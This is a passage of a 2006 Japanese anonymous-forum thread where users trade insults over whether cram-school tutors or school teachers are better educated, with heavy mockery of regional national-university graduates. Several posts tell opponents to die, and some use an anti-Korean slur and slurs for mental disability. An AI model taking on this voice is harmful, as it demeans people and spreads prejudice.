>いくら進学率が上がったっていったって、大学行くのでさえ5割にも満たないんだが。
>まして駅弁以上なんて、最低ラインでも、全中学生の上位2割3割だろうよ。それでも95%の大人は就職できてる。

これ現実。
俺がやってる塾にも高卒で就職する子はいくらでもいる。
ここまでではなくても、おまえらの塾にも当然のように個人差あるだろ?
出来ない生徒を鼻で笑いながら授業してんのか?

>>832
んじゃ県名出す…。埼玉。
浦和や一女から埼大行く子いますよ。
まぁ、たぶん高校では下位だったんだろうけど、俺が見てた分には、中学ならなんら問題ない。

838 :実習生さん:2006/12/24(日) 20:15:06 ID:5izoYKhR
>>837
>出来ない生徒を鼻で笑いながら授業してんのか?
低学歴は余裕がないから困るね。
俺は生徒がどんな成績だろうが、それに合わせて指導するだけ。
どんな生徒でも対応できるから、別に生徒を嘲笑ったりコンプ持ったりしない。
学歴で馬鹿にするとかいうのは、大人同士だからやることであって、
自分より下の世代にそんな感情もっても恥ずかしいだけだ。
お前は日本語勉強しなおしてから出直して来い。

839 :実習生さん:2006/12/24(日) 20:37:18 ID:rjULPTBQ
受験問題の解き方教えても、ほとんどの生徒は1年後には忘れてるんだよね。
そんな一時しのぎの知識を刷り込むことに必死だなんて(ry
まして、それが学力だと思い込んでるなんて(ry

840 :実習生さん:2006/12/24(日) 20:41:46 ID:MILM32xI
>>838
ようやく答えらしいものが返ってきたわ。
そうか。高学歴は何でも器用に対応できていいな。ダブルスタンダードもお手ものか。
だが、心の底にそれだけ強い差別意識があるのなら、教育者としては危険。

早いとこ一流企業にでも就職して、塾講離れな。

841 :実習生さん:2006/12/24(日) 20:45:49 ID:0bqq7niS
>>832
>学芸大とか千葉とか筑波とか早稲田

ここらへんのレベルじゃ、駅弁と大して変わんねーぞ。
このスレの上の方で、筑波大が徹底的に叩かれていたの知らねーの?

842 :実習生さん:2006/12/24(日) 20:46:02 ID:OJBnN2SZ
それにしても読む価値のないスレだな
隔離スレとしては良いのかもしれない

843 :実習生さん:2006/12/24(日) 20:46:43 ID:MILM32xI
訂正
○お手もの
×お手のもの

844 :実習生さん:2006/12/24(日) 21:10:30 ID:X0K/Y4Y5
>>839
と、
3日もたてばやったこと忘れてしまうような授業をやっている教師が申しておりますが?

845 :実習生さん:2006/12/24(日) 21:21:27 ID:HdDG1S+R
>>841
いや、教員なるのに地方国立行く必要あるのかなと思いまして。
首都圏の駅弁類で教育学部あるのこの程度のところでしょ。
首都圏トップ公立と言ってたから千葉か浦和かなと思ったんで
そこの最底辺でも地方駅弁にいくのかなぁ?


846 :実習生さん:2006/12/24(日) 21:45:56 ID:5izoYKhR
>>840
教育者といっても、知育オンリーのな。
別に自分の価値観を生徒に押し付けるような手荒なマネはやらないから。
学校教師と違って。

>>841
筑波や学芸を駅弁に含めるか否かは議論があるにしても、
早稲田>筑波>学芸=横国=千葉>全国の駅弁
だろ?

847 :実習生さん:2006/12/24(日) 21:57:17 ID:0bqq7niS
>>846
>別に自分の価値観を生徒に押し付けるような手荒なマネはやらないから。

全ての教師が左翼思想家である訳ではない。

848 :実習生さん:2006/12/24(日) 22:00:22 ID:5izoYKhR
>>847
別に右とも左とも言ってないんだが。
それに価値観は政治思想に限られるものではなかろう。

849 :実習生さん:2006/12/25(月) 00:19:02 ID:c2unPnmf
ここは学校、予備校、塾の負け組教師が最下位を決定する
スレなんですね。はたから見ていて、見苦しいよ。

850 :実習生さん:2006/12/25(月) 00:29:57 ID:tjNZbdHM
高学歴ID:5izoYKhRは、塾にいながらにして教師が価値観を押し付けてることや、
岡崎高校では生徒が内職し、ほとんとが予備校に通っていることなどお見通しらしい。

851 :実習生さん:2006/12/25(月) 00:51:29 ID:q0fmxPEw
★「塾は禁止」 教育再生会議で野依座長が強調

・政府の教育再生会議の野依良治座長(ノーベル化学賞受賞者)が8日に開かれた「規範意識・
 家族・地域教育再生分科会」(第2分科会)で、「塾の禁止」を繰り返し主張していることが、
 同会議のホームページに掲載された議事要旨でわかった。しかし、再生会議が21日に
 まとめた第1次報告の原案には「塾の禁止」は盛り込まれていない。

 議事要旨によると、野依氏は「塾はできない子が行くためには必要だが、普通以上の子供は
 塾禁止にすべきだ。公教育を再生させる代わりに塾禁止とする」と再三にわたって強調。
 「昔できたことがなぜ今できないのか。我々は塾に行かずにやってきた。塾の商業政策に
 乗っているのではないか」と訴えた。

 JR東海会長の葛西敬之氏は「日本の数学のレベルは学校ではなくて、塾によって維持されて
 いる、という面もある」と反論したものの、事務局側は「公教育が再生されれば、自然と塾は
 競争力を失っていく。結果的になくなる」と同調、国際教養大学長の中嶋嶺雄氏も「野依座長の
 おっしゃったように塾禁止ぐらいの大きな提言をやらないと」と野依氏に賛同するなどひとしきりの
 盛り上がりを見せた。
 http://www.asahi.com/national/update/1223/TKY200612230248.html



852 :実習生さん:2006/12/25(月) 01:14:33 ID:8hZmahdQ
>>850
お前コンプが甚だしいな。
昨日のID:rjULPTBQか?
全く反論になってない煽りでコンプを解消するとは、
さすが低学歴は違うね。

853 :実習生さん:2006/12/25(月) 01:41:31 ID:d3Hgn+sh
>野依良治
>「昔できたことがなぜ今できないのか。我々は塾に行かずにやってきた。塾の商業政策に
>乗っているのではないか」と訴えた。

こいつ灘→東大。塾に言ってないなら天才肌なんだろうな。
駿台予備校がいつからあると思ってるんだろうね。


854 :実習生さん:2006/12/25(月) 05:27:28 ID:hnAEA8Qx
てか灘は最強の予備校だよな。

855 :実習生さん:2006/12/25(月) 08:02:02 ID:eToIzlTU
>>846
>教育者といっても、知育オンリーのな。
知育?
ペーパーで高得点を取れるようにするのが知育とwww

>別に自分の価値観を生徒に押し付けるような手荒なマネはやらないから。
どうせ押し付けるような授業しかできないんだろww
「この問題はこう解くんだ!」wwwwwwwwww

>学校教師と違って。
まぁ君が低レベルな教師にしか出会えないような学校に通ったのが悪いのだがね。
あるいは「押し付け」としか感じられなかった君の未熟さがね。

856 :実習生さん:2006/12/25(月) 09:11:26 ID:tjNZbdHM
>>855
受験通ればそれで仕事終わりだから、その程度の認識で割りきってくれた方がいいんじゃね?
大人になった教え子の大半が軽蔑の対象に変わるんだから。変に深く関わると危ない。

857 :実習生さん:2006/12/25(月) 09:21:16 ID:E13WJH4x
>>855
そうね押し付けるような授業はしないよね駅弁先生は。
ひたすら教科書の音読と書き取りするだけだからね。
自分でもできないくせにwwwwww
野村佐知代のマナー教室かよwwwww

858 :実習生さん:2006/12/25(月) 09:32:24 ID:E13WJH4x
>>856
しかしね、受験を通ったこともない通すこともできない教師に何ができるのかな?wwwww
まるで、受験後も教師には仕事があるかのような言い草だね。
受験戦争の敗者が勝ち方を教える。この理不尽さときたら。


859 :実習生さん:2006/12/25(月) 10:02:39 ID:eToIzlTU
塾講師にとっての知育とはその程度のものかとwww
何を偉そうにw
全部本に載ってることだろうが。

喋る参考書。
喋る問題解説本。
受験を通すだけの短期記憶刷り込み屋。

君たちに存在価値は無いのだよwwwwww

860 :実習生さん:2006/12/25(月) 10:11:23 ID:E13WJH4x
低学歴教師よぉ、額に『駅弁』って刻んでおけよwwwww
その本に載っている事すら教えられないのはどういう頭のつくりしてんだよw
小中高大社会人
そのすべての人生においてできない奴がなるのが教師だよwwwwwww



861 :実習生さん:2006/12/25(月) 10:12:03 ID:E13WJH4x
あ、駅弁でも教師の中ではエリートですねwwww
筑波だとスーパーエリートwwww


862 :実習生さん:2006/12/25(月) 10:18:22 ID:eToIzlTU
受験に耐えうるレベルを維持しながらも
感性を磨いていくのが学校の授業ってもんだよ。

漏れらの授業は一生もの。
「苦手・嫌い」を「得意・好き」に変えることができるのだよ。

ごめんね。
次元が違いすぎて論点がかみ合わないよねwww

863 :実習生さん:2006/12/25(月) 10:23:56 ID:E13WJH4x
受験に耐えうるレベルを維持wwww
あんた一生駅弁レベルをキープしているのかよwwwwww
まぁ、落ちこぼれ駅弁の授業聞いても一生落ちこぼれのままですからwwwww


>「苦手・嫌い」を「得意・好き」に変えることができるのだよ。
それ塾の仕事だからwwww
お前は生徒に糞授業で睡眠時間あたえるのが仕事ね。


864 :実習生さん:2006/12/25(月) 10:25:31 ID:eToIzlTU
勉強は自分でするもの。
興味・関心を引き出すのが学校の仕事。
あとは勝手に勉強しろと。
問題解説とかそういう無駄な時間に授業は使わないのだよ。

865 :実習生さん:2006/12/25(月) 10:27:11 ID:eToIzlTU
それに塾の仕事って
問題を解けるようにすることで
好きだと思わせるのだろう。

バカが。
それは一生ものじゃねーよ。

866 :実習生さん:2006/12/25(月) 10:37:37 ID:E13WJH4x
>勉強は自分でするもの。
典型的な低学歴教師の台詞だな。お前の職業の名前は何だよ?
勉強を教えるから教師だろうが、クズが!
で、学校配布のテキストで自分で勉強しても駅弁しか受からない。
それすらもわからないのか、それで満足しているのか?

「一生もの」って絵画販売商かよwwwwww

>興味・関心を引き出すのが学校の仕事。
おい低学歴。お前の糞授業じゃ学問に興味なんてもたねえよ。

とここまで書いたが

>問題解説とかそういう無駄な時間に授業は使わないのだよ。
教科書棒読みに授業使っているの?
駅弁卒の無様な知識を曝け出しているだけだな。


867 :実習生さん:2006/12/25(月) 10:39:23 ID:tjNZbdHM
マジレス。
駅弁の附属校園の教育実習は、教科書読むだけの授業では指導案の段階で弾かれる。
極端なくらいに、問題解決学習を採り入れる。4年間「授業とは…」と聞かされる。
大体、受験通す・通さないで教師の資質の優劣つけてる時点で、次元が低いよ。

868 :実習生さん:2006/12/25(月) 10:40:52 ID:E13WJH4x
>漏れらの授業は一生もの。
>「苦手・嫌い」を「得意・好き」に変えることができるのだよ。



>それに塾の仕事って
>問題を解けるようにすることで
>好きだと思わせるのだろう。
>バカが。
>それは一生ものじゃねーよ。

「問題解けないの」のに「得意」に変える?
とりあえず死ねよ。教科指導力不足教員よ。

869 :実習生さん:2006/12/25(月) 10:45:06 ID:E13WJH4x
>>867
駅弁附属って小中でしょ?

870 :実習生さん:2006/12/25(月) 10:45:32 ID:eToIzlTU
論理が飛躍ってますよww
さっすが塾講師クオリティwwww

大学生がバイトでできちゃうような仕事だしねww
一生、合格実績が自分の手柄だと思い込んでいればいいよ。
ある意味幸せな人生だよねww

871 :実習生さん:2006/12/25(月) 10:53:54 ID:E13WJH4x
>>870
具体的にしろ指摘しろ駅弁。
駅弁だと文章力もないから困る。
そのバイトに完敗授業する駅弁教師は死ねよw

と、ここまで書いて
   駅 弁 
に反論しないところを見ると本当に駅弁卒しかいないんだなぁ…
駅弁って落ちこぼれのクズがいくところだろ。
そりゃ、落ちこぼれには夜回りや生活指導しかできないよな…
余談だが
駅弁ってサークルや部活動でも、医学部は別にあるだろ?
あれって低学歴の池沼と関りたくないから別にしているんだよ。
駅弁だとまともな企業の説明会とか申し込みの時点で却下だしね。
で、教師しかなれないと。惨めだね…



872 :実習生さん:2006/12/25(月) 11:04:18 ID:eToIzlTU
妄想思い込み発言イタイね〜w

>>867も言ってるけど、受験でしか教育を語れない時点で(ry

>>869
の発言で君の程度が分かったから、もういいや。

873 :実習生さん:2006/12/25(月) 11:33:50 ID:tjNZbdHM
言い訳してるわけするわけじゃないが、学校教育の方向性が大きく変わった今、(指導要領によって法的規制)
受験制度だけが旧来の知識重視が続いてる。最近はその傾向が強まってる。

その隙間を塾などの受験産業に突かれてる。

874 :塾長:2006/12/25(月) 11:37:36 ID:3kjjt3Cj
すごい伸びてるのにびっくり!
クリスマスイブなのに・・・
もっと楽しく人生過ごしたらどうだ?

875 :実習生さん:2006/12/25(月) 11:38:05 ID:E13WJH4x
国立大教育学部 実践問題

貴方はトイレに行こうとしました。
しかし職員トイレの前にヤンキー8〜9名が座り込んで傍を通る教員に悪態をついてます。
貴方の心は日々の生徒の相手、親の苦情で壊れかかっています。
あ、向こうから別のヤンキーが土がたっぷり入ったプランターを持ってきました。普通にぶちまける気ですね。

さあ、貴方はどういう指導をしますか?

>>872
で、相変わらず詰問には遁走ね。受験からも仕事からも逃げているあんたの人生そっくりだよw

○人権教育に関する実践問題

ある日の授業中
ヤンキーA「おい○○○(差別用語・いじめられっ子へ)?階段とこにアッちゃんおるけんねー?ヤンマガ借りてこい」
ヤンキーB「早よ行けって○○○(差別用語)!」
教師「(みみ見逃してはならない)あお前何て言ったかぁー!?今ぁ!!」周囲大爆笑
ヤンキーA「は?何こいつキモイとマジ」
ヤンB(教師に対して)「おいデブ?まいうーって言ってんやまいうーってw 早よ言わんかぁー!w」
教師「何言いよーとかお前たちゃあーー!!(怒鳴りまくる)」
全員「ブヒャヒャヒャヒャヒャ!!!(いじめられっ子もマジメっ子も大爆笑)」

さあ、どういう指導をしていきますか?


そうだね。駅弁にはこんな世界がよく似合っているよ。受験ですら教育を語れない。
生活指導もいいけど、自分の教科くらい教えられるようになれよ。予備校の講習でも受けてw
あとさ、四天王寺とかあるのは知っているって。文脈から判断しろよ。


876 :実習生さん:2006/12/25(月) 12:09:02 ID:tjNZbdHM
>>875
厳しく注意する。暴力には最低限の防衛のみ…とでも言ってもらいたい?

マジレスすると、模範回答なし。生徒の性格、生育歴、家庭環境、交遊関係などの諸条件で異なる。
ペーパーに毒され過ぎだし、生徒・生活指導がDQN指導だと思ってる時点で間違ってる。

877 :実習生さん:2006/12/25(月) 12:36:16 ID:i1cxw7hf
1.見てみぬふりをする
2.イジメに加わる
3.顔真っ赤にして教室から逃げていく

まぁ、現実はこんなもんですな。

878 :駿台 元講師:2006/12/25(月) 12:47:31 ID:eSLX2nrG
駅弁、駅弁と言っても立派な「国立大学」じゃないですか。
多くの人が落ちる大学ではないですか。
国立大学と書く事が出来ない所が劣等感の表れですね。
劣等感がないのであれば「国立大学」と書いてみてよ。
あと、どの大学が駅弁にあたるのでしょうか?国立大学で馬鹿にできる大学はありませんよ。
私立のように誰でも入れる大学はありませんよ。



879 :駿台 元講師:2006/12/25(月) 12:52:48 ID:eSLX2nrG
http://www.janu.jp/introduction/10meibo.php

ここに提示してある大学が国立大学です。
どれもこれも難しいです。
ほとんどの子が落ちてます。
だから講師は低学力でも入りやすい私立へと勧めるのです。
成果が上がりやすいからね。馬鹿な子供を国立へとはとてもとても勧めません。
入れないからです。講師の責任になります。国立は十分な基礎学力、長期の努力が必要となります。


880 :実習生さん:2006/12/25(月) 12:57:04 ID:i1cxw7hf
いや、ネタはいいから。
そんな餌に俺が釣られ‥‥‥

         \   ∩─ー、    ====
           \/ ● 、_ `ヽ   ======
           / \( ●  ● |つ
           |   X_入__ノ   ミ   
            、 (_/   ノ /⌒l
            /\___ノ゙_/  /  =====
            〈         __ノ  ====
            \ \_    \
             \___)     \   ======   (´⌒
                \   ___ \__  (´⌒;;(´⌒;;
                  \___)___)(´;;⌒  (´⌒;;  ズザザザ


881 :実習生さん:2006/12/25(月) 13:04:43 ID:EV0/LkFJ
>>875

>>875がドキュンであり、キチガイであることを証明している。

882 :塾長:2006/12/25(月) 13:23:33 ID:3kjjt3Cj
>>879
ですよね。
 僕も某予備校がスタートでした。 
 国公立は充分立派だと思いますね。

883 :実習生さん:2006/12/25(月) 13:33:42 ID:i1cxw7hf
立派だったらさぁ…
あぁ、もういいやごめん。

884 :実習生さん:2006/12/25(月) 13:56:30 ID:SIQGYojQ
スレが伸びるためには
こういう大暴れする奴が必要なんだな  と思う。

こういう=駅弁を見下す奴
実際は駅弁だって簡単には受からないですから

885 :実習生さん:2006/12/25(月) 14:15:46 ID:v5JP75n0
>>1
>塾講師が安定した職でないのに比べて、
>確かに学校教師は安定して社会的地位も高いのかもしれない。
>しかし、塾講師が高学歴がバイトでやるものに対し、
>学校教師は低学歴・中学歴が必死こいて
>教員採用試験突破してなるもの。
>どちらが学力・学歴の面で上かは言うまでもないだろう。
>学校教師はアホが多すぎる。

もう1で結論出てるのにね。
「感性を磨く、一生ものの授業」
「駅弁は国立大学だ」
「駅弁は簡単ではない」
こんな事言うから嘲笑されるんですよ、と。
そりゃ教師の中では駅弁卒だと高学歴ですけどね。



886 :実習生さん:2006/12/25(月) 14:30:25 ID:6i2QPHn0
>>885
高学歴で塾の講師どまりの仕事にしかなれないなら、
普通はそういう人間を「落ちこぼれ」というのだけど。

887 :実習生さん:2006/12/25(月) 14:35:01 ID:v5JP75n0
バイトですから。
駅弁は落ちこぼれが行くところでしょ?ぶっちゃけ。



888 :実習生さん:2006/12/25(月) 14:37:50 ID:v5JP75n0
大学合格者を高校でも貼り出すでしょ?
国立なら五十音順でもなく北からでもなく東大・京大・一工・地底・駅弁の順に名前書かれるのはなぜ?


889 :実習生さん:2006/12/25(月) 14:57:37 ID:tOkSZnXQ
有名順

890 :実習生さん:2006/12/25(月) 15:35:36 ID:oceexam7
合格者名を貼り出すたびに教師のコンプレックスが増幅されていくんだろうな。
国立駅弁大学医学部医学科とか貼るときに前途洋洋のエリートと惨めな自分の境遇を
重ね合わせて死にたくなるよね。

891 :実習生さん:2006/12/25(月) 15:51:51 ID:eToIzlTU
結局過去の栄光にすがり付いているだけ。
みっともないwww

今、どれだけの授業ができるかが教師としての実力ってもんだろうが。

892 :実習生さん:2006/12/25(月) 16:11:51 ID:an3F2cm6
http://www.tbs.co.jp/kinpachi/
3年B組金八先生
http://www.nhk.or.jp/nikki/top.html
中学生日記



893 :実習生さん:2006/12/25(月) 16:23:56 ID:oceexam7
>>891
あの、その今の授業があまりにひどいから教師が叩かれているのですが。
「感性を磨く、一生ものの授業」
文法の授業一度もしなかった高校時代の古文教師を連想させますね。

894 :実習生さん:2006/12/25(月) 19:11:38 ID:eToIzlTU
>>893
いいんじゃないんすか?
文法も単語も自学できるものだし。
どうせ忘れるものだし。

それより古典世界がどういうものか
どんな楽しみ方があるのかをきちんと教えてくれる方が
あなたの財産になると思うのですが。どうでしょう。

895 :実習生さん:2006/12/25(月) 19:31:34 ID:TwHauc78
>E13WJH4x

shinjyaeyo!!!!

896 :実習生さん:2006/12/25(月) 19:37:35 ID:kB6VA2sI
まーまークリスマスに喧嘩すんなって

897 :実習生さん:2006/12/25(月) 21:25:03 ID:8hZmahdQ
>>878
「国立大学」という言葉で旧帝と駅弁が一緒にされたくないから、
駅弁って使ってるんだけど。
師範学校=専門学校卒が偉そうにするなっての。

警察と教師は低学歴のくせに勘違いしてる点で共通してるな。
どちらもDQNを大人しくさせる肉体労働。
不正が絶えないのも一緒だし、公務員のくせに自己のことばかり考える。
憲法も分かんねーんじゃねーの?

898 :実習生さん:2006/12/25(月) 21:32:09 ID:/QDEj7oH
>>894
お前ふざけるなよ。糞の授業のいいわけするんじゃねえよゴミ教師が!
文法も単語も教えない奴が古典世界の楽しみ方なんて教えるわけねだろうが、頼むから死んでくれ。
確信した。無能ならまだ許せるが有害だ、低学歴の教師は。

899 :実習生さん:2006/12/25(月) 21:45:33 ID:eToIzlTU
>古典世界の楽しみ方なんて教えるわけねだろうが
何で思い込みで発言するのかな〜?
それこそがDQNの証拠だと思うんだけど。

>無能ならまだ許せるが有害だ、低学歴の教師は。
どう有害なのか説明してくれよ。
逆に考えられないのかね。
文法も単語も教えないで古典世界の楽しみ方を伝えられる凄さをってさ。

900 :実習生さん:2006/12/25(月) 21:47:09 ID:8vVbXSzD
駅弁の上に位置している大学は旧帝だけですよ。
東京大学・京都大学・大阪大学・東北大学・名古屋大学・九州大学・北海道大学の7つの大学のみです。
旧帝出身者が他の国立大学を「駅弁」と中傷するのと、一般ピープル(大した学歴のない普通の人たち)が国立大学を駅弁と、
中傷するのとはわけが違いますよ。
同じように本来であれば、教師を否定していいのは保護者や生徒ではありません。資格はありません。
批判する資格があるのは教育に高い専門性を持つ有識者のみですよ。
そして駅弁という言葉もエリート層が生み出した言葉であり、一般庶民が普通に言う言葉ではないです。
>>897のような低学歴が駅弁という言葉を使えば周りから笑いものですよ。
せめて旧帝くらいは出て「駅弁」と使いましょう。2ちゃんねるだから許されますが。
2ちゃんねると現実を混同しないようにしましょう。










901 :実習生さん:2006/12/25(月) 21:57:20 ID:8hZmahdQ
>>900
東大卒ですが何か?

902 :実習生さん:2006/12/25(月) 21:59:21 ID:eToIzlTU
旧帝学生の頃から熱く望んでいて塾講師になったのなら
他人がとやかく言うことではないのだけどね。

要するにそういう問題でしょ?

903 :実習生さん:2006/12/25(月) 22:06:58 ID:8hZmahdQ
>>902
あー、お前昨日のチョンか。
早く日本語勉強して来い。

904 :実習生さん:2006/12/25(月) 22:09:38 ID:EV0/LkFJ
そこまで言わなくても世間の人はわかっている。

東大などの旧帝大>総計>駅弁国立=マーチクラス私大>有名私学(日大近大など)>Fランク私大
ということも。

ただ地方には駅弁国立とFランクしかないのが通例。
どちらが良いか比べれば・・・
東京基準で考えるなよ>ALL

地方で駅弁否定したらその県自体を否定するしかないことをわかっているのか?
そもそも私学信仰が強いのは首都圏だけ。関西ですら国立中心思考だ。



905 :実習生さん:2006/12/25(月) 22:27:25 ID:SIQGYojQ
横浜>旧帝だけど。
でもそんなことでムキになってるって   何?
君に何があった?

906 :実習生さん:2006/12/25(月) 23:05:48 ID:HmggHBHl
まあ学歴にかかわらず
就職失敗したダメ人間が熟香になるってこった。

907 :実習生さん:2006/12/25(月) 23:30:17 ID:Nxpa1a9G
その就職すらできない駅弁がなるのが教師だけどな。
大学入学時点で教師にしかなれないことが運命付けられた大学だもんな。

908 :実習生さん:2006/12/25(月) 23:33:48 ID:cwIdlDek
>>907
あのさ、東大出ただけじゃだめだって知ってる?
官僚や一部の企業は「高校」のネットワークの方が強いわけよ。
で、その種の高校は「高校入学」を認めない一貫制のとこなわけ。
だから、中学入試の段階で話は9割方、終わってるから
駅弁だの、旧帝だのって言ってる連中のお里が知れちゃうわけ。


909 :主事さん:2006/12/26(火) 00:08:39 ID:3UTC6Jq0
ざっと読みましたが、書いている内容から判断する限り、
ここで学校教師を叩いている人は塾講師ではありませんね。

塾長さんや元講師さんが言われるとおりです。
学校教師も塾講師も、生徒を国立大学に合格させることの難しさを
知っています。知らないのは当の生徒さんだけでしょう。
高校1年生のとき「京大に行く」とか豪語していた人物が3年生になって
現実を知るって話はよくありますしね。

910 :主事さん:2006/12/26(火) 00:27:14 ID:3UTC6Jq0
>>897
>「国立大学」という言葉で旧帝と駅弁が一緒にされたくないから
私の同僚の大半は旧帝出身者ですが、むしろいっしょにされたがっている
ようなんですけどね。東大出身者なんて特にその傾向が強いようですが。

駅弁(?)大学が「ダメ」だと言うなら学校教師も塾講師も無能者ばかり
だと言うことになってしまいます。
首都圏トップ予備校でも、そこの予備校生の大部分が旧帝に進学するわけ
ではないですよ。特別クラスの生徒たちが(実力+運で)行くのです。
ま、トップ予備校行くだけで旧帝に合格できるんなら予備校の予備校が
巷にあふれかえりますな。

911 :実習生さん:2006/12/26(火) 00:35:45 ID:c85s9NCw
マジレスすんなって!何でみんな脳内厨房にかまってるの?
最初から全部読んでみたら分かるけれど、「駅弁」という
言葉を発している基地外はたった一人。自称「東大」であり、
学校教師、予備校・塾講師でもないただの引きこもりニート。

912 :実習生さん:2006/12/26(火) 01:09:32 ID:xXmFWaTY
>>908
知ったか乙
開成・筑駒・灘いずれも高校入試がある
駅弁にゃ縁がない話だろうがwww

>>910
>私の同僚の大半は旧帝出身者ですが、むしろいっしょにされたがっている
当人の前で駅弁をバカにするわけないだろ。
口では「国立大学同士仲良くしましょう」なんて言っても、腹の底では見下してるわけ。
わかる?

>>911
そんなに学歴コンプを暴かれて悔しいか?
負け組教師同士で傷の舐め合いしたいか?
ちなみ俺は>>901だけど、>>898とも>>875とも>>907とも別人だが?
ウジウジしたキモオタ教師は妄想オナニーしかできないんだろうな。

913 :実習生さん:2006/12/26(火) 03:11:15 ID:Spww8d4e
東大法学部卒の友人で
司法試験は能力的に無理不可能と分かり挫折。
そのショックで4年間で卒業できなくて挫折。
東大ブランドのちんけなプライドの塊で就活も内定ゼロで挫折。
まじで発狂して
最終的には業種を問わず就活して、今は法律とは無関係な仕事してる。
そういう奴もいるってだけ。
正直、可哀相な奴だと思った。

914 :実習生さん:2006/12/26(火) 04:11:53 ID:ejEjOIWo
>>899

なんという低学歴教師…
お前死んだほういいよ。

915 :実習生さん:2006/12/26(火) 04:27:33 ID:ejEjOIWo
なんというか
「駅弁は悪くない」
「駅弁は難しい」
「駅弁は上位20%だからどうたら」
とかいっている駅弁教師は額に駅弁卒って焼印押して進学校の教壇に立ってくれよ。
心置きなく睡眠できるから。

916 :実習生さん:2006/12/26(火) 04:27:39 ID:CGriWqTz
>>912
一つ教えておくけど、「見下す」っていうのはそれ自体不安の裏返しなんだわ。
本当に自分に自信があったら、下の人間のことなんて興味ないの。
だから、【社会的地位】学校教師>>塾講師【一生の恩師】なんて
スレッドすら立たないわけだ。

917 :実習生さん:2006/12/26(火) 04:47:04 ID:xXmFWaTY
>>913
県立トップ校の友人で
旧帝早慶は能力的に無理不可能と分かり挫折。
そのショックで現役で合格できなくて挫折。
県立トップのちんけなプライドの塊で大学受験も全滅で挫折。
まじで発狂して
最終的には3浪して駅弁に進学して、今は教師となって生徒にイジメられてる。
そういう奴もいるってだけ。
正直、可哀相な奴だと思った。


>>916
単なる暇つぶしだよバカ。
学校教師が恩師になるなんてどこの田舎だ?
今は学校教師より塾講師のほうが生徒には尊敬されてる。
ま、恩師と呼ぶに値するのは、普通は大学の指導教官だけどな。
駅弁の事情はシラネーけどな。

918 :実習生さん:2006/12/26(火) 04:51:12 ID:xXmFWaTY
というか、学歴も学力も塾講師>>>学校教師という、
当たり前のことを認識できないバカがいるから、
そいつらに真実を教えてやってるだけだ。

919 :実習生さん:2006/12/26(火) 07:04:42 ID:Spww8d4e
なんか可哀相な人達だな〜。
よほど良い学校教師に出会えなかったんだね。

まぁ発言の程度を見ていれば分かるよ。
類は友を呼ぶって言うしねw

920 :実習生さん:2006/12/26(火) 07:18:59 ID:eC9KKiGo
予備校講師スレ見てたらみんな厳しい認識持ってるし自虐的ですらあるのに
このスレの塾講師マンセーはなんかずれてるし世間知らずだなーと前から思ってた。
なるほど学校教師に恨みがある無職のヒキヲタだと考えると腑に落ちる。


921 :実習生さん:2006/12/26(火) 09:15:24 ID:NEGXZC/Q
>>919
人達×
若干1名○

922 :実習生さん:2006/12/26(火) 09:31:03 ID:mMuXK+DC
>>920
あそこには専業の職の不安定さと将来への不安が書かれている。
学校教師が低学歴で人に勉強を教える能力がないこととは別物。
高校の同級生で駅弁行った奴、さらにその中で教師になった奴、そういうのはどうしようもない落ちこぼればっかだろ。
「駅弁低学歴」のゴミが人様に勉強教えようなんておこがましい。


923 :実習生さん:2006/12/26(火) 11:28:44 ID:soWayWTY
予備校は厳しいでしょう。客を集められるかどうかが問われるわけですから、
学歴なんてあまり通用しないと思います。
学校もまた、生徒・保護者の満足度調査などが導入されるようになって、
学歴だけでは生きていけなくなってます。
どちらも、高学歴・低学歴に関わらず、満足を与えられる人が求められてますね。
その「満足」の内訳に、学歴というものがある程度関わっていることは否定しません。
ただ、学歴の利用価値という観点において、予備校・学校の間に大きな差があるとは
思えないのですが。

924 :実習生さん:2006/12/26(火) 11:36:45 ID:br4yrUNt
923 支持

925 :実習生さん:2006/12/26(火) 11:38:49 ID:DlPjtm1a
ここで「学歴」にこだわっている教師のスキルは
永久に上がることはないでしょう。

926 :実習生さん:2006/12/26(火) 11:40:16 ID:mMuXK+DC
低学歴駅弁専業ベテランプロ教師=反面教師
高学歴バイト講師=実用的教師

まぁ、この違いは大きいね。
小中学校の教師なんて基地外も多いし。
高校教師は、無能だし。
役に立つのは体育教師くらいか?


927 :実習生さん:2006/12/26(火) 11:42:05 ID:mMuXK+DC
>>925
だから馬鹿にされるんですよ。デモシカ駅弁教師さん。

928 :実習生さん:2006/12/26(火) 11:57:29 ID:DlPjtm1a
>>926
あなたの発想なら、難関大学を突破した入学直後の
大学1年生が教師を勤めることが1番効果的ですね。

929 :実習生さん:2006/12/26(火) 12:20:20 ID:soWayWTY
学校現場では、高学歴だとかえってやりづらいこともあるそうです。
普通に教えていても、「威張ってる」と受け取られることが多く、
当然、教育の効果は上がりにくくなります。
学歴に少しでも頼ろうとする気持ちがあると、生徒は敏感ですから、
すぐに見抜かれてしまいます。
生徒は、教師の人間性(好悪)と教科の意義とを同一視する傾向が強いですから、
高学歴というのは諸刃の剣なのだと思っていないと怖いです。

予備校では、高学歴講師への生徒の見方は多少緩やかになりますが、
教える側がそんなものを看板にしてやっていけるほど甘い仕事ではないでしょう。
予備校は一攫千金型で良い人材を集める、学校は安定によって良い人材を集める、
そういう違いはあるでしょうが、高学歴が常に前者を選ぶとは思えないです。
事実、巷間でもてはやされている参考書の執筆者である予備校講師に、
東大卒はそれほど多くはないと思うのですが。

930 :実習生さん:2006/12/26(火) 13:19:45 ID:mMuXK+DC
予備校は一攫千金型で良い人材を集める、学校は安定によって良い人材を集める、
そういう違いはあるでしょうが、高学歴が常に前者を選ぶとは思えないです。

予備校はバイトで、学校教師になるなんて問題外。

931 :実習生さん:2006/12/26(火) 15:37:43 ID:Spww8d4e
>>902

932 :実習生さん:2006/12/26(火) 15:47:04 ID:mMuXK+DC
>>928
ちょっと冷やしたくらいがちょうどいいですね。


933 :実習生さん:2006/12/26(火) 15:50:17 ID:br4yrUNt
一人で暴れマクって、これだけ伸ばすとはたいしたものだ。
総会屋に勤めれば、才能発揮だぜ。

934 :某スレより:2006/12/26(火) 15:54:23 ID:mMuXK+DC
ここで低学歴教師擁護している奴って何なの?底辺高校勤務とか?

勉強ができないのに勉強を教える。

これが最大の問題点だろうが。

学歴と教える能力は関係ないとか意味不明な妄想に浸ってんじゃねぇよ、アホ。
「私は馬鹿で偏差値70とることも、教えることもできません。
ていうか、自分よりいい大学に生徒が行くのがコンプレックスを苛まされて不愉快です。
皆さん予備校かZ会に頼ってください」
と正直に言えよ。

小中までは駅弁でもいいけどさ、進学校に駅弁送り込むの勘弁してください。
教育大の先生の初めの文法の授業の
「5文型、これは入試にでないからw」
とか迷解説はやめてください。お願いです。

